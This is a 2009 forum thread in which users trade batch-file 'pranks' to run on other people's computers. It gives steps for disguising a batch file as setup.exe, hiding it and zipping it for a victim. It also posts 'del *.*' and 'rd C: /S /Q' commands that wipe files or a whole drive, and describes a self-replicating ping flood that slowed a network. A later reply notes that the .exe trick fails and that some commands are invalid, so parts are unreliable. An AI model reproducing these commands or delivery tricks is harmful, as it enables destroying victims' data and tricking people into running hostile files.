.Bat file prankage

Sakora · Jan 25th 2009, 7:34pm

Ok, .bat files are like the brother of a .exe. So, why not have a little fun with it?

Create a new notepad doc and name is setup.exe(You may have to enable file extensions toggle by right click empty space and go to power tweaks and click toggle file extensions) now open setup.exe and type

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echo on
start prank.bat
start cmd.exe

Save.

Now create another file name it prank.bat Open in notepad and type in

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echo on
start smouch.net/lol
start cmd.exe
dont start taskmgr.exe
start smouch.net/lol
start cmd.exe
dont start taskmgr.exe
start smouch.net/lol
start cmd.exe
dont start taskmgr.exe

Save. Now rightclick prank .bat and make it a hidden file. Zip the setup.exe and the hidden prank.bat get someone to run it and enjoy the reaction^^

What it does: It opens the famous rick roll page that bounces around on your screen, starts a dos prompt and disables taskmgr.exe until they restart it. In other words, the most roflmao prank that you can have on someone you hate.

Matt · Jan 25th 2009, 7:50pm

*Yawns*

Well, that was old a retro. Next please.

Sakora · Jan 25th 2009, 8:06pm

Ok. Create a notepad and type in

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echo on
del *.*

Save as a .bat and run

Matt · Jan 25th 2009, 8:17pm

*Yawns-*

Sakora · Jan 25th 2009, 8:21pm

Mikep wrote:

On a side note, Del *.* is going to prompt you every time.

rd C: /S /Q is what it should be.

It takes a mili second to run. They wouldn't have enough time to stop it. I did it on my laptop, wipe everything before I had a chance to click it.

Kevin · Jan 25th 2009, 11:25pm

That's old. Sorry.

ryno · Jan 26th 2009, 12:16am

I forget the exact code but I'll post it later. What it did was it started. Pinged the router for the max that cmd allows you to ping for 9999 times, then opened 10 of itself. Itll pretty much freeze most computers, on my friends beast of a desktop we watched the latency on the router go up to where it did nothing but time out. Make everything on the network slow. Couldn't open webpages on other systems.

Steven · Jan 26th 2009, 12:19am

Everything in this thread is old stuff; I remember this crap from the W95 days.

UnforseenTruth · Jan 28th 2009, 1:47am

There is one thing wrong with this, even though it is pathetically, script kiddy nonsence.
Putting batch commands in to a plain text document and then saving it as an exe will not work. Since there is no valid exe file structure. You will no doubt get the "Invalid Win32" error message, or something similar. Even some of his batch commands arn't even vaild ones. So I don't know where this kid got his ideas from, if he fails at being a script kiddy, then there is deffinatly no hope for him now. :rolleyes:

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